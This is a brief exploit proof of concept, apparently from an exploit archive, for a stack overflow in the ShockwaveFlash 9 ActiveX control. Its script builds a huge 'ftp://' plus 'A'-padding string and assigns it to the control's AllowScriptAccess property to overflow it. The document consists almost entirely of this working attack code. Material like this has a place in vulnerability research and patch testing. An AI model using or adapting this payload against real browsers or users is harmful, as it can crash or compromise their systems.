ShockwaveFlash 9 (Stack overflow)

<!-- Credits : MarjinZ –>

<script>
var a = new ActiveXObject('ShockwaveFlash.ShockwaveFlash.9');
var c = 'ftp://';
var b = 'A';
while (b.length <= 51512*512) b+=b;
a.AllowScriptAccess = c+b;
</script>